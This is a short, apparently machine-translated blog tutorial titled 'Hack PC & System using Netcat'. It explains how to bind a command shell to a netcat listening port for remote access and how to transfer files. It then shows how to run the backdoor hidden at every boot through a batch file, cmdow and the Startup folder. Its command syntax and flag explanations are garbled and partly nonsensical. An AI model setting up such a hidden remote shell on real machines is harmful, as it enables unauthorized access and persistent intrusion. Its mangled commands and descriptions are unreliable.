Hack PC & System using Netcat

22/07/2011 08:41

Configure and connect to a "target" computer

First, make sure you have netcat installed, "attacking" the computer and the computer "target". No matter if your computer is running on UNIX or Windows.

To be able to connect to this "target" you must start netcat "target," the computer so that the "attack" the computer can connect.

Windows: Open a command prompt and make sure it is in the same directory as nc.exe (netcat). Then enter "NC-10002-Lp cmd.exe"

This will open a port 10002 to connect to your "attack" on the computer, and when you connect, it will be the "target" command-fast computer. To connect to the "target" computer open a command prompt and type "nc 192.168.1.1 10002", which will connect to your "target" computer.

Unix: Open a console. Then type "netcat-lp-10 002 console"

This will open a port 10002 to connect to your "attack" the computer, and when you log in, you'll be on the order of "destination" computer prompt. To connect to the "target" computer open a command prompt and type "netcat 192.168.1.1 10002", it will connect to your "target" computer.

-L tells netcat to be close and wait for the connection

-P tells netcat to listen to leading

D-Indicates netcat to withdraw from the process, we want to make it work

E-Dit netcat program to run after the port is connected

Transfer files via netcat

You can send the file to the network through the cat enter the command "start nc.exe lp-1234-file.txt" when connected to a Windows machine. P-1234 is the port netcat is listening,> file.txt is a file received through netcat.

Write in a console to "attack" computer "netcat 192.168.1.1 1234

Netcat running on the hidden boot

Make a batch file with the command "nc-10002-Lp cmd.exe" in it. Name this file start.bat and place it in the root of your C drive Download cmdow.exe program. Make a batch file and name it hide.bat. Inside the file type "cmdow / RUN / HID C: \ start.bat". Place this file in the Startup folder.
Now every time the computer starts netcat start hidden.